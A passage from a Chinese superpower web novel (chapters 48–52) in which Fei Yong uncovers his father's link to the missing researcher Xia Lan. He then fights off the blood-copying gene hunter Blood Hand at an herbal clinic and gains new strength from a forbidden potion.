“这张照片……”苏清月的声音带着难以置信的颤抖,她快步走过来,手指轻轻点在照片上的女人脸上,“这个女人是夏兰博士!我母亲的同事,十年前在701研究所失踪了!”
费勇猛地抬头:“你认识她?”
“何止认识。”苏清月的眼眶红了,她从书架上抽出本泛黄的相册,翻到中间一页——那是张研究所的集体照,年轻的苏清月母亲站在后排,而前排微笑着的女人,正是照片上抱着夏艳玲的夏兰。“我小时候见过她几次,她总给我带研究所后山的野草莓。母亲说,夏兰博士是研究‘情绪能量实体化’的权威,后来……后来研究所出事后,就再也没人见过她。”
“701研究所……”夏艳玲突然喃喃出声,原本空洞的眼神泛起涟漪。她的手开始无意识地抚摸布娃娃的脑袋,指尖划过娃娃粗糙的布料,像是在触碰某个遥远的开关。
随着她的动作,布娃娃的额头突然泛起淡淡的白光。原本模糊的布料纹理开始变化,渐渐浮现出更多细碎的照片碎片——有的是摆满仪器的实验室,有的是穿着白大褂的人在记录数据,还有的是个小小的玻璃培养舱,里面漂浮着团彩色的光雾。
“火……好多火……”夏艳玲的声音带着哭腔,身体开始发抖,“影子在哭……妈妈把娃娃塞给我,说跟着影子走……影子不会骗我……”
费勇注意到,当她说“影子”时,自己的影子在地面轻轻跳动了一下,像是在回应。他突然想起夏艳玲之前说过的话——“你的影子,和那天的影子很像”。那天的影子,难道和701研究所的火灾有关?
苏清月迅速从药箱里取出一小瓶绿色的药剂,滴在夏艳玲的手背上。清凉的草木精华让小姑娘平静了些,她抬起泪眼朦胧的眼睛,看着布娃娃上浮现的画面:“那个发光的……是妈妈说的情绪核心吗?她说那是玲玲的一部分,不能被坏人抢走。”
布娃娃上的画面突然清晰起来。这次出现的不是实验室,而是个穿着黑色风衣的男人背影,他正将那团彩色光雾注入年幼的夏艳玲体内。男人的侧脸在光影中若隐若现,费勇的心脏猛地一缩——那个轮廓,竟和他钱包里父亲的老照片有几分相似!
“这个男人……”费勇的声音有些发紧,他凑近布娃娃,想看得更清楚些。就在这时,布娃娃突然发出一阵刺眼的白光,所有画面瞬间消失,只留下一张新浮现的碎片——男人胸前的徽章,上面刻着“破晓”两个字。
破晓!是老鬼和风行者所在的组织!
“是破晓的人把情绪核心注入了玲玲体内。”苏清月的声音带着震惊,“我母亲的日记里提过,701研究所后期被裁决会控制,他们想把情绪核心改造成武器。难道……破晓是在保护她?”
费勇没说话,他的指尖还停留在布娃娃刚才显示男人背影的地方。影子在他脚下缓缓流动,带来一股熟悉又陌生的悸动——那是和影石碎片共鸣时才有的感觉。他突然想起风行者之前说的话,审判长的口袋里有影石碎片,和骨魔体内的一样。裁决会找夏艳玲,难道不只是为了情绪核心,还和影石有关?
夏艳玲突然打了个哈欠,刚才的情绪波动耗尽了她的力气。她抱着布娃娃靠在藤椅上,眼皮越来越沉,嘴里还喃喃着:“娃娃说……找到雾里的山……就能想起妈妈……”
“雾里的山?”费勇和苏清月对视一眼,都从对方眼里看到了疑惑。
这时老鬼从窗外翻了进来,他的斗笠差点被窗棂勾掉,露出底下花白的头发。“看来你们发现有趣的东西了。”他指了指夏艳
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玲怀里的布娃娃,“这丫头的娃娃是用‘情绪纤维’做的,能储存记忆碎片,算是初代情绪载体的原型。”
“情绪纤维?”
“用异能者的情绪能量固化成的材料。”老鬼摸了摸布娃娃的破洞,眼神复杂,“夏兰博士的杰作,她知道研究所保不住了,就把所有实验数据和记忆碎片都存在了娃娃里,算是给女儿留了条后路。”他顿了顿,看向费勇,“你刚才看到的男人,是灯塔。”
费勇的心猛地一跳:“灯塔?破晓的首领?”
“也是你父亲。”老鬼的话像颗**,在安静的房间里炸开。“十年前他在研究所当卧底,火灾那天,是他把情绪核心转移到夏艳玲体内,再用暗影能量掩盖了她的气息,才让裁决会找不到她。”
父亲……费勇攥紧了拳头,指甲深深嵌进掌心。他终于明白为什么自己的影子会和夏艳玲产生共鸣,为什么她觉得自己的影子和那天的影子很像——因为那根本就是同源的暗影能量!
布娃娃突然从夏艳玲怀里滚了下来,掉在费勇的影子里。原本黯淡的红眼睛突然亮起,投射出最后一段画面:火灾中的研究所,父亲抱着年幼的夏艳玲冲向出口,身后是裁决会执法者的追杀。他将布娃娃塞进夏艳玲怀里,低声说:“跟着影子走,去找能和你共鸣的暗影,他会保护你……”
画面消失时,布娃娃的眼睛彻底暗了下去,变成了普通的布料玩具。
夏艳玲还在熟睡,嘴角却微微上扬,像是做了个好梦。费勇捡起布娃娃,轻轻放回她怀里,动作温柔得不像平时的自己。他看着小姑娘恬静的睡颜,突然明白了父亲的用意——情绪核心和暗影本源,或许从一开始就该互相守护。
“701研究所的遗址在哪?”费勇抬头问老鬼,眼神里多了份从未有过的坚定。他知道,要解开所有谜团,必须找到那个藏着太多秘密的地方。
老鬼从怀里掏出一张折叠的地图,铺在桌上:“在雾隐山,裁决会和另一伙人都在找它。”他的手指点在地图中央的标记上,“那里不仅有情绪核心的完整数据,还有你们需要的第三块影石碎片。”
雾隐山……费勇想起夏艳玲刚才说的话,看来这不是巧合。
苏清月突然指着地图边缘的一个小符号:“这个标记……和我母亲日记里画的‘生命能量泉’位置一致。如果能找到那里,或许能修复玲玲的记忆碎片。”
费勇的目光落在地图上,又看了看熟睡的夏艳玲,最后停在自己脚下流动的影子上。他能感觉到,影子里的金色纹路正在和某种遥远的能量产生共鸣,像是在指引方向。
701研究所、情绪核心、影石碎片、父亲的下落……所有线索都指向了雾隐山。
第49章:贪婪的眼睛
青禾堂后院的井水带着沁凉的草木味,费勇掬起一捧泼在脸上,试图驱散连日来的疲惫。水珠顺着他的下颌线滚落,砸在青石板上晕开小小的水渍,倒映出他眼底尚未褪去的红血丝——自从知道父亲就是灯塔,他就没怎么合过眼,影子里的金色纹路总在夜深人静时发烫,像是在催促他快点行动。
“别硬撑了,黑眼圈都快掉地上了。”林悦的声音从身后传来,带着她标志性的爽朗。她刚结束特调科的巡逻,制服外套随意搭在肩上,露出里面印着闪电图案的T恤,手里还拎着袋热气腾腾的肉包子,“秦伯说你一早就蹲在井边发呆,给,刚出锅的,猪肉大葱馅。”
费勇接过包子,指尖触到油纸的温度,心里莫名一暖。他掰开一个包子,热气混着肉香扑面而来,正要递到嘴边,眼角的余光突然瞥见院墙上的监控摄像头——原本闪烁的红光灭了。
“监控断了。”费勇的动作顿住,手里的包子瞬间不香了。他的影子悄无声息地蔓延开,顺着墙角爬上屋顶,像只警惕的黑猫,探查着周围的动静。
林悦立刻绷紧了神经,右手已经握住了腰间的配枪——那是把特制的电磁枪,能发射麻痹电流。“我去看看总控室。”她的电流顺着鞋底注入地面,在青禾堂周围形成一张无形的电场网,任何活物经过都会触发感应。
这时秦伯拄着拐杖从正屋走出来,他的白胡子上还沾着药粉,脸色凝重得像块浸了水的石头。“不用去了。”老人把手里的对讲机扔在石桌上,发出沉闷的响声,“刚才收到老鬼的消息,地下格斗场的基因猎人盯上咱们了。”
“基因猎人?”费勇皱眉。这个名字他在破晓的情报里见过,据说这群人专门在黑市上贩卖异能者基因,手段比裁决会还龌龊。
“一群靠掠夺异能为生的疯子。”秦伯往茶杯里倒着热茶,水汽模糊了他的老花镜,“他们的首领叫血手,异能是血液复制,比你的影子复制更麻烦——只要沾到对方的血,就能永久复制异能,不过一次只能用一种。”
费勇的心头一沉。永久复制?这意味着对方要是拿到他的血,就能永远拥有暗影重构的能力。他下意识地摸了摸手臂,那里在仓库突围时被划伤过,虽然已经结痂,但难保没留下血迹。
“他们怎么会找到这里?”林悦的电场网突然有了反应,她猛地抬头看向墙头,“东边围墙外有动静!”
话音刚落,夏艳玲抱着布娃娃从偏屋跑出来,小脸煞白。她的布娃娃不知何时沾了片枯叶,此刻正微微颤抖,娃娃的红眼睛直勾勾地盯着大门的方向,像是看到了什么可怕的东西。“外面……有好多贪婪的眼睛……”小姑娘的声音带着哭腔,手指紧紧攥着娃娃的衣角。
费勇的影子突然剧烈波动起来,像是被什么东西刺激到了。他能感觉到,周围的暗影能量里混杂着一股陌生的气息,带着铁锈般的血腥味,让人很不舒服。
苏清月从药房匆匆走出,白大褂上别着的银质听诊器反射着冷光。她手里拿着几支绿色的药剂,递给费勇和林悦:“这是异能增幅剂的改良版,能短时间提升能量输出,没有副作用。”她的指尖有些发凉,显然也很紧张,但语气依旧平静,“我已经让药圃里的藤蔓做好防御准备,只要他们敢闯进来……”
“轰隆——”一声巨响打断了她的话。青禾堂的大门被一股巨力撞开,木屑飞溅中,十几个穿着黑色作战服的人冲了进来,脸上都戴着遮住半张脸的呼吸面罩,只露出双闪烁着贪婪的眼睛。
为首的男人没戴面罩,左手缠着厚厚的绷带,右手的指甲涂成诡异的暗红色。他舔了舔嘴唇,视线像黏糊糊的蛇,先落在费勇身上,又滑到夏艳玲怀里的布娃娃上,最后停在苏清月的藤蔓上,笑得露出两颗尖利的犬齿:“啧啧,暗影系、情绪系、生命系,这下可赚翻了。”
“血手!”林悦认出了对方的特征——特调科的通缉令上印着这张脸,“你敢闯青禾堂,就不怕特调科的围剿吗?”
“特调科?”血手嗤笑一声,突然抓起身后一个手下的手臂,用指甲划开道口子。鲜血涌出的瞬间,男人的右手突然覆盖上一层银白色的鳞片——那是裁决会执法者的力量强化异能!“等我拿到这三个宝贝的基因,别说特调科,就算是判官来了,也得让我三分。”
费勇的影子已经凝聚成盾,挡在夏艳玲身前。他注意到血手的脚下有几滴未干的血迹,正顺着石板的缝隙缓缓流动,像是有生命般,试图靠近自己的影子。
“别碰他的血!”苏清月突然喊道,同时催生藤蔓缠住那些血迹,“他的血液能寄生在异能者体内,只要接触就会被标记!”
血手似乎早料到他们会提防,他打了个响指,身后的手下突然举起***,射出的不是针头,而是带着倒刺的吸盘——吸盘上沾着暗红色的液体,显然是用他的血特制的。
“小丫头片子反应倒快。”血手的眼神变冷,右手突然化作利爪——那是某种兽类的异能,“可惜啊,你们的防御漏洞太多了。”
费勇操控影子掀起石桌,挡住射向夏艳玲的吸盘。石桌被吸盘击中的地方,立刻冒出暗红色的烟雾,木头竟开始腐蚀。“林悦,用电!”他大喊着,影子突然**成无数条黑线,缠住那些飞舞的吸盘。
林悦早有准备,她的电流顺着地面的水汽蔓延,在半空中织成一张电网。吸盘碰到电网的瞬间,暗红色的液体开始沸腾,发出滋滋的响声,很快就失去了活性。“就这点本事?”她挑眉,电流在指尖跳跃,像在挑衅。
血手的脸色沉了沉,他突然抓起一个手下,将其推向苏清月。那手下的脖子上戴着个项圈,血手按下遥控器的瞬间,项圈突然**——不是火光,而是漫天的血雾!
“不好!”苏清月迅速用藤蔓编织成盾,可血雾无孔不入,还是有
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几滴溅到了她的手背。接触到血液的皮肤立刻泛起红疹,藤蔓的生长速度明显变慢了。
“生命系的小姑娘,你的异能归我了。”血手狞笑着,右手已经开始泛起绿光——他正在复制苏清月的生命绿藤!
费勇的影子突然暴涨,将苏清月护在身后。他想起秦伯的话,血手一次只能用一种异能,现在他用了生命绿藤,就暂时没法用血液复制。“林悦,牵制他!”费勇的影子凝聚成刃,带着破空声刺向血手的咽喉。
就在这时,夏艳玲突然尖叫一声。一只沾着血的手不知何时从门缝伸了进来,指尖滴落的血液在地面化作小蛇,正蜿蜒爬向她的脚边。那蛇的眼睛是诡异的红色,张开的嘴里还吐着分叉的血信。
“玲玲小心!”费勇想都没想就冲过去,用鞋底将血蛇踩碎。可血液溅到他的鞋上,竟像活物般渗透进去,烫得他脚心一阵刺痛。
苏清月忍着异能被复制的不适,催生带火的藤蔓——那是她用生命能量催化的特殊品种,专门克制血手的血液异能。藤蔓缠住血蛇的残骸,瞬间将其烧成灰烬,还带着余烬的藤蔓顺势缠向门缝外的那只手。
“啊——”门外传来一声惨叫,那只手迅速缩了回去,只留下几滴滚烫的血珠,落在地上发出滋滋的响声。
血手见偷袭不成,反而损了个手下,脸色难看到了极点。他突然冷笑一声,右手的绿光消失,转而覆盖上一层黑色的鳞片——那是裁决会执法者的力量强化!“看来得让你们见识下,复制来的异能也能玩出花样。”
他的拳头带着破风之声砸向费勇的影子盾,巨力让费勇连连后退,虎口发麻。更麻烦的是,周围的监控摄像头虽然没亮,但费勇能感觉到,有无数道视线正透过隐蔽的角落盯着这里,像群饥饿的鬣狗,等待着出手的时机。
秦伯突然吹了声口哨,青禾堂的屋檐下突然落下无数药粉,在空中形成一道屏障。“这是异能抑制粉,能暂时阻断能量流动!”老人的声音带着威严,“小勇,带玲玲从密道走,这里有我们顶着!”
费勇看着秦伯和林悦坚定的眼神,又看了看怀里瑟瑟发抖的夏艳玲,咬了咬牙。他知道现在不是逞强的时候,基因猎人显然有备而来,硬拼只会让所有人陷入危险。
“走!”费勇抱起夏艳玲,影子在地面开出一条通道,通向药房的密道入口。夏艳玲的布娃娃不知何时沾了片药粉,在她怀里微微发光,像是在指引方向。
血手想追,却被林悦的雷网拦住。苏清月趁机催生带毒的荆棘,缠住了剩下的基因猎人。秦伯则拄着拐杖,在地上画出复杂的药阵,空气中的药香突然变得刺鼻,让那些猎人头晕目眩。
费勇冲进密道的瞬间,回头看了一眼——血手正用那双贪婪的眼睛死死盯着他的背影,嘴角挂着志在必得的笑。他的影子在密道的墙壁上拉长,像是在无声地警告:这场狩猎,才刚刚开始。
第50章:血液VS影子
密道里的空气混杂着泥土和霉味,费勇抱着夏艳玲在黑暗中疾行。小姑娘的布娃娃不知何时沾上了他的汗渍,此刻正随着他的动作轻轻拍打他的肩膀,像在无声地安慰。他能感觉到身后的地面在微微震动,血手那群人的脚步声像催命的鼓点,越来越近。
“往左拐!”夏艳玲突然指着前方的岔路,声音带着不容置疑的笃定。她怀里的布娃娃红眼睛亮得惊人,娃娃的影子在墙壁上扭曲成箭头的形状,“娃娃说那边有光!”
费勇没有犹豫。自从发现布娃娃能指引方向,他对这只破布玩具产生了莫名的信任。拐进岔路的瞬间,他操控影子在身后织成一道屏障——这是用刚才吞噬的暗影能量凝聚的,比普通影盾坚硬三倍。
“砰!”血手的拳头砸在影盾上,发出沉闷的响声。费勇能感觉到屏障在剧烈震颤,差点溃散,可见对方复制的力量强化异能有多恐怖。
“跑啊!接着跑啊!”血手的声音隔着影盾传来,带着令人牙酸的笑意,“你以为躲得掉吗?你的影子里全是我的标记,就算跑到天涯海角,我也能闻到你那股暗影能量的骚味!”
费勇的眉头拧成了疙瘩。他低头看向自己的影子,果然发现边缘处缠绕着几缕暗红色的丝线,像细小的血蛭,正一点点往影子核心渗透。这大概是刚才密道入口接触到血液时留下的。
“前面有台阶!”夏艳玲突然喊道。
费勇抬头,果然看到前方出现一道向上的石阶,尽头隐约透着微光。他加快速度冲上去,身后的影盾“咔嚓”一声裂开细纹——血手显然用了更强的力量。
踏上最后一级台阶的瞬间,费勇猛地转身,将夏艳玲护在身后。这里是青禾堂的地下药圃,四周摆满了培育异能植物的玻璃罐,罐子里的藤蔓和花苞在营养液中轻轻摇曳,散发着幽幽的绿光。
血手带着手下追了进来,他一脚踹碎摇摇欲坠的影盾,暗红色的眼睛在绿光中显得格外狰狞。他身后的几个基因猎人已经取下了呼吸面罩,露出脸上纵横交错的缝合疤痕——显然是接受过基因改造的后遗症。
“啧啧,藏在这种地方,是想让这些植物给你陪葬吗?”血手舔了舔指尖的血迹,视线扫过那些玻璃罐,最后落在费勇身上,“说真的,我挺佩服你的。能在这么短时间内把暗影重构玩得这么溜,算是个天才了。可惜啊,天才马上就要变成我的基因库了。”
费勇将夏艳玲推到一个巨大的玻璃罐后面,低声道:“抱紧娃娃,别出来。”他的影子在地面铺开,像黑色的潮水,缓缓向血手蔓延——这是在积蓄力量,准备随时发动攻击。
“哟?不跑了?打算跟我硬拼?”血手像是听到了什么笑话,突然抓起身边一个基因猎人的手腕,用指甲划开道口子。鲜血涌出的瞬间,他的皮肤突然覆盖上一层银白色的金属——那是复制来的金属硬化异能!“也好,让你见识下,什么叫真正的复制能力。”
费勇的瞳孔骤然收缩。金属硬化+力量强化?这家伙竟然能同时使用两种异能?不对,仔细看的话,他的左手还保持着金属质感,右手却恢复了正常,只是缠绕着暗红色的能量——原来他是在快速切换复制的异能!
“惊讶吗?”血手看出了他的疑惑,笑得更加得意,“虽然一次只能用一种,但切换速度够快的话,跟同时使用没区别。不像你,复制个异能还得接触影子,用完了还得虚弱半天,真是废物能力。”
这番话像针一样扎进费勇心里。他确实受限于能力缺陷,每次复制都要承担巨大的风险,可这并不代表他会认输。
“废物?那你试试这个!”费勇突然操控影子掀起一排玻璃罐。罐子里的“噬能藤”被惊动,疯狂生长,带着尖刺的藤蔓像鞭子一样抽向血手——这些植物是苏清月专门培育来克制异能者的,能吸收能量。
血手显然没料到这些植物会攻击,慌忙切换成力量强化异能,一拳砸断最前面的藤蔓。可断裂的藤蔓立刻分泌出绿色的汁液,溅在他的手背上,发出“滋滋”的响声,竟腐蚀出几个小洞。
“有点意思。”血手甩了甩手,眼神变得凶狠,“看来得先废了你这双手。”他突然用指甲划破自己的手臂,鲜血瞬间涌出,化作十几道血箭,直奔费勇的手腕——显然是想通过血液接触,复制他的暗影重构!
费勇早有准备。他的影子在面前形成旋转的屏障,将那些血箭全部挡在外面。暗影能量和血液接触的地方冒出暗红色的烟雾,发出刺鼻的气味,像两种毒素在互相侵蚀。
“躲?你能躲多久?”血手狞笑着,源源不断地制造出血箭,同时脚步不断逼近,“你的暗影能量总有耗尽的时候,到时候我看你还怎么挡!”
费勇的额头渗出冷汗。对方说得没错,维持旋转屏障非常消耗能量,他的影子已经开始变得稀薄。更麻烦的是,那些基因猎人正悄悄绕到两侧,显然想偷袭身后的夏艳玲。
“玲玲,低头!”费勇大喊一声,同时操控影子**成无数细线,像黑色的针,射向两侧的基因猎人。那些细线穿透了他们的衣服,却没能造成实质性伤害——这些人的皮肤竟然像皮革一样坚硬,显然也是改造过的。
“别白费力气了!”血手抓住费勇分神的瞬间,突然加速冲到近前,右手化作利爪(兽类异能),抓向费勇的肩膀,“你的影子挡得住血箭,挡得住我的爪子吗?”
费勇猛地侧身躲闪,利爪擦着他的胳膊划过,带起一串血珠。伤口火辣辣地疼,他能感觉到有几缕血线顺着伤口钻进体内,试图侵蚀他的能量核心。
“抓到你了!”血手笑得像偷腥的猫,“只要我的血液进入你的能量循环,不出三分钟,你的暗影重构就是我的了!”
费勇强忍着恶心,操控影子勒住血手的手腕——就在这时,他的指尖无意间触碰到了对方的影子!
一股陌生的能量顺着接触点涌入费勇体内,带着铁锈般的血腥味,却异常强大。他的脑海中突然多出一段信息:血液复制(被动)——接触目标血液后可永久复制其异能,每次只能激活一种,切换需消耗10%当前能量。
是血手的异能!他竟然在这种情况下复制到了对方的能力!
费勇的心脏狂跳起来。他看着血手还在狞笑的脸,突然露出一个诡异的笑容:“你说……如果我也会血液复制,会怎么样?”
血手的笑容僵在了脸上:“你说什么?”
费勇没有回答。他用尽全力将体内的暗影能量和刚复制的血液复制能力融合,然后咬破舌尖,一口血沫喷向血手——这不是普通的血,而是混杂了暗影能量的“影子血”!
“你疯了?!”血手下意识地后退,
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却还是被几滴血沫溅到了脸上。接触到血液的瞬间,他突然感觉体内的能量开始剧烈冲突,刚复制的金属硬化异能像潮水般退去,取而代之的是一股熟悉的暗影能量——他竟然被复制了!
“不可能!这不可能!”血手惊恐地摸着自己的脸,那里正浮现出淡淡的黑影纹路,“我的能力是独一无二的!你怎么可能复制它?!”
费勇没有解释。他能感觉到体内的两种复制能力正在互相排斥,脑袋像被重锤砸过一样疼——这是双重复制的反噬提前来了。但他不能停,必须趁血手混乱的时候解决掉对方。
“清月!该你了!”费勇突然大喊。
血手一愣,还没反应过来,就听到身后传来“咔嚓”的碎裂声。那些原本在玻璃罐里的噬能藤突然暴涨,像绿色的巨**,缠住了他的身体——是苏清月!她不知何时绕到了药圃后面,通过植物意识控制了这些藤蔓!
“你……”血手又惊又怒,想切换异能挣脱,却发现体内的能量乱成一团麻,根本无法调动。刚才费勇的影子血不仅复制了他的能力,还扰乱了他的能量循环。
“这叫螳螂捕蝉,黄雀在后。”苏清月的声音从藤蔓后面传来,带着一丝不易察觉的得意,“你复制我的藤蔓异能时,就该想到会有这么一天。”
原来刚才血手复制苏清月的能力时,她就悄悄在对方体内留下了“植物种子”——一种能通过能量流动激活的微型孢子,此刻在噬能藤的刺激下爆发,正好压制了血手的能量。
费勇抓住这个机会,操控影子凝聚成刃,抵在血手的咽喉上。他能感觉到对方的身体在微微颤抖,不是因为害怕,而是因为体内两种复制能力冲突产生的痛苦。
“说!你和裁决会是什么关系?”费勇的声音冷得像冰,“审判长口袋里的影石碎片,是不是你们给的?”
血手的脸色变了变,眼神闪烁不定。就在这时,他突然猛地一咬牙,嘴里溢出黑色的血液——这家伙竟然服下了某种药物,强行压制住体内的能量冲突!
“想知道?下辈子吧!”血手狞笑着,身体突然爆发出强烈的红光,竟硬生生挣断了噬能藤的束缚。他趁机向后跃出,拉开距离,右手再次覆盖上金属硬化的光泽,“今天算我栽了,但你们给我等着!基因猎人从来不会空手而归!”
说完,他抓起两个受伤的手下,转身撞碎玻璃罐,消失在药圃深处的黑暗里。剩下的几个基因猎人见状,也慌忙四散逃窜。
费勇没有去追。双重复制的反噬已经让他眼前发黑,影子里的金色纹路疯狂闪烁,像是随时会熄灭。他踉跄着扶住身边的玻璃罐,才勉强站稳。
“你怎么样?”苏清月连忙跑过来,拿出疗伤药剂想给他处理伤口,却被他拦住。
费勇的视线落在自己的影子上。那些暗红色的标记正在消退,但影子本身变得异常稀薄,边缘处甚至开始透明——这是能量透支的迹象。更麻烦的是,刚复制的血液复制能力还在体内作祟,和暗影重构互相撕咬,疼得他几乎喘不过气。
“我没事……”费勇咬着牙说,视线无意间扫过地上的玻璃碎片,突然愣住。那里有几滴血手留下的血液,正在地面蠕动,像有生命般,试图钻进某个玻璃罐的裂缝里。
那罐子里培育的,是苏清月最珍贵的“回春草”。
第51章:反噬的反噬
血手的血液在玻璃罐裂缝处蠕动,像条找到巢穴的毒蛇。那几滴暗红色液体刚接触到回春草的根部,原本翠绿的草叶突然泛起诡异的红斑,连营养液都开始冒泡——这株能治愈能量灼伤的奇草,竟在被血液污染。
“不好!”苏清月急忙催生藤蔓缠住玻璃罐,想隔绝污染。可那些血液像有生命般,顺着藤蔓的纹路往上爬,所过之处,嫩绿的藤蔓迅速枯萎,化作深褐色的枯枝。
费勇的瞳孔骤然收缩。他突然想起血手刚才说的话——基因猎人从来不会空手而归。这家伙根本不是仓皇逃窜,而是故意留下血液,想污染青禾堂的异能植物!
“玲玲,把娃娃给我!”费勇突然喊道。
夏艳玲虽然不解,但还是立刻把布娃娃递了过去。这只缺胳膊的布娃娃不知何时沾了些回春草的汁液,此刻正微微发烫,娃娃破洞处露出的棉花竟泛着淡淡的金光——那是情绪核心的能量反应。
费勇握紧布娃娃,将残存的暗影能量注入其中。娃娃的红眼睛突然亮起,投射出一道纤细的光柱,正好照在那几滴血液上。血液像是被烫到般剧烈翻滚,发出“滋滋”的响声,很快就凝固成黑色的硬块,彻底失去了活性。
“这……这是……”苏清月惊讶地看着布娃娃,“它能净化血手的能量?”
费勇还没来得及回答,突然感觉体内像是有两把刀在互相劈砍。刚复制的血液复制能力突然暴走,与暗影重构的能量激烈冲突,他的眼前瞬间炸开一片金星,忍不住闷哼一声,跪倒在地。
“费勇!”林悦正好从密道入口冲进来,看到这一幕,瞬间将电流凝聚成矛,警惕地扫视四周,“怎么回事?血手呢?”
“跑了……”费勇咬着牙说,每说一个字都觉得脑袋要裂开。他的影子在地面痛苦地扭曲,边缘处不断剥落黑色的能量碎片,像是正在解体。
夏艳玲连忙跑过来,把布娃娃贴在费勇的背上。娃娃散发的金光渗入他的体内,那股撕裂般的疼痛竟缓解了些许。“娃娃说……你的影子在哭……”小姑娘的声音带着哭腔,小手紧紧按住他颤抖的肩膀。
苏清月蹲下身,指尖搭上费勇的手腕。她的眉头越皱越紧:“能量冲突太严重了,两种复制能力在互相吞噬你的本源能量。再这样下去,你会变成废人!”
费勇的视线开始模糊。他能感觉到血液复制能力像匹脱缰的野马,正疯狂吞噬暗影能量,而影子深处,那道金色纹路却在顽强抵抗,发出微弱却坚定的光芒——那是父亲留下的暗影本源。
“必须把这股能量导出去……”苏清月急得额头冒汗,她从药箱里翻出几根银针,想通过穴位疏导能量,可刚碰到费勇的皮肤,银针就被一股暗红色的能量弹开,针尖瞬间锈蚀。
“没用的……”费勇喘着气说,他突然看向林悦,眼神里闪过一丝决绝,“林悦,用电击我。”
“你疯了?!”林悦的眼睛瞪得溜圆,“你现在能量紊乱,电击只会让情况更糟!”
“相信我……”费勇的声音虽然虚弱,却异常坚定,“血液复制怕强电流,暗影能量能吸收电流……只有这样才能压制冲突……”
苏清月突然眼前一亮:“他说得对!两种能量的弱点正好互补!林悦,用低压电流,集中在他的百会穴!”
林悦咬了咬牙,虽然觉得这主意疯狂,但眼下没有更好的办法。她深吸一口气,将电流凝聚成细细的银线,小心翼翼地触向费勇的头顶。
电流刚进入体内,费勇就感觉像是有块烧红的烙铁钻进了脑袋。血液复制能力发出一声凄厉的“尖叫”,暂时停止了吞噬,而暗影能量则像久旱逢甘霖般,开始贪婪地吸收电流,变得活跃起来。
“再加三成力!”苏清月紧紧盯着费勇的影子,看到那些剥落的碎片开始重新凝聚,连忙喊道。
林悦依言增强电流。费勇的身体剧烈颤抖起来,皮肤表面浮现出蛛网般的电光,又迅速被影子吞噬。他的意识在清醒与昏迷之间反复横跳,恍惚中,似乎看到父亲站在一片暗影里,正用鼓励的眼神看着他。
就在这时,药圃深处突然传来一声巨响,紧接着是血手那令人作呕的笑声:“小崽子们,多谢你们帮我测试新能力啊!这份大礼,你们可得接好!”
费勇猛地睁开眼睛。他看到一个黑糊糊的东西从黑暗中飞出来,带着刺耳的呼啸声,直奔他们所在的位置——是**!
“小心!”林悦想都没想就扑过来,用身体护住费勇和苏清月,同时将电流凝聚成盾。
“轰——!”
**在半空中炸开,却没有火光,只有一股强韧的冲击波横扫整个药圃。无数玻璃罐被震碎,异能植物的汁液和碎片飞溅得到处都是,苏清月培育了多年的珍稀药材瞬间毁于一旦。
混乱中,一瓶贴着黑色标签的药剂从药柜残骸里滚出来,正好停在费勇的手边。标签上的符号在电光中闪烁,与他影子里的金色纹路隐隐呼应——是“禁忌”药剂!
费勇的瞳孔骤然收缩。他能感觉到药剂散发出的能量波动,既危险又诱人,像个在黑夜中招手的魔鬼。体内的两种复制能力似乎被这股能量惊动,冲突再次加剧,比之前更猛烈。
“费勇!别碰它!”苏清月看到那瓶药剂,脸色瞬间变得惨白,连忙伸手去抢。
可已经晚了。费勇的影子像是被药剂吸引,突然自动延伸,缠住了药瓶。瓶身破裂的瞬间,几滴深紫色的液体溅到他的手背上,随即被影子迅速吸收。
一股难以形容的力量突然从影子深处爆发
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出来。费勇感觉像是有座火山在体内喷发,原本冲突的两种能量被这股力量强行压制、融合,化作一股全新的能量流,顺着血管涌向四肢百骸。
他的影子在地面暴涨,瞬间覆盖了整个药圃,那些被炸毁的植物碎片在暗影中重新凝聚,化作栩栩如生的影傀儡——这是“影傀儡”能力的进阶!更令人震惊的是,他能清晰地感觉到,自己复制的血液复制能力虽然消失了,却在暗影重构中留下了一丝印记,让影子拥有了类似“吞噬基因”的特性。
“这……这是……”苏清月震惊地看着眼前的景象,说不出话来。
费勇缓缓站起身。他的眼睛里闪烁着金色的光芒,体内的反噬感彻底消失,取而代之的是前所未有的充盈感。他低头看向自己的手,那里还残留着淡淡的紫色药剂痕迹,散发着微弱的能量波动。
“看来……因祸得福了?”林悦挠了挠头,刚才还紧张得要死,现在突然觉得有点滑稽——这家伙竟然靠禁忌药剂解决了反噬?
费勇没有说话。他的注意力被药圃深处的动静吸引了。那里的黑暗中传来血手的闷哼声,似乎刚才的**也对他造成了影响。更重要的是,他从那片黑暗中,感觉到了影石碎片的能量波动!
“血手身上有影石!”费勇的声音带着一丝不易察觉的兴奋,“他和裁决会果然有勾结!”
他操控影子化作利刃,劈开挡路的残骸,一步步走向黑暗。体内的新能量在奔腾,影子里的金色纹路比以往任何时候都要明亮。他知道,血手既然留下了影石波动,就绝对不会走远——这家伙还在附近,或许就在等待他能量耗尽的那一刻。
但现在,胜负的天平已经倾斜。
苏清月看着费勇的背影,又看了看地上那瓶破碎的药剂,眼神复杂。她从古籍里看到过关于这种药剂的记载,说是能唤醒潜藏的异能本源,但十有**会导致能量暴走,像费勇这样不仅没事还能力进阶的,简直是个奇迹。
“我们也跟上。”苏清月拉起夏艳玲的手,眼神变得坚定,“得看好他,别让他被药剂的力量吞噬了心智。”
林悦点点头,将电流凝聚在指尖,警惕地扫视四周:“放心,有我在,谁敢动他一根头发,先问问我的电流答应不答应!”
夏艳玲抱着布娃娃,亦步亦趋地跟在后面。她的布娃娃不知何时修复了一只胳膊,红眼睛里闪烁着与费勇影子同源的光芒,像是在守护着什么重要的秘密。
黑暗中,费勇的影子突然停下。他能感觉到,前方有一道熟悉的气息正在快速远离——是血手!对方显然察觉到了他的变化,正在仓皇逃窜。
“想跑?”费勇嘴角勾起一抹冷笑,影子突然化作一道黑色的闪电,带着他瞬间追上了那道气息。
第52章:禁忌药剂的真相
费勇的影子如墨色闪电般划破黑暗,指尖即将触碰到血手的刹那,对方突然化作一道血雾消失在拐角。空气中只留下一股刺鼻的血腥味,以及一枚滚落在地的黑色鳞片——那是裁决会执法者的力量强化异能残留。
“又跑了?”林悦追上来时正好看到这一幕,气得一脚踹在旁边的石壁上,电流噼啪作响,“这家伙跟泥鳅一样滑!”
费勇弯腰捡起那枚鳞片,指尖刚触碰到冰凉的表面,鳞片就化作暗红色的粉末,渗入他的皮肤。他的脑海中瞬间闪过一个画面:血手跪在一个戴着青铜面具的人面前,手里捧着半块散发着金光的影石碎片。
“是裁决会的审判长。”费勇的声音有些发沉,“血手的影石碎片是从他们那换来的。”
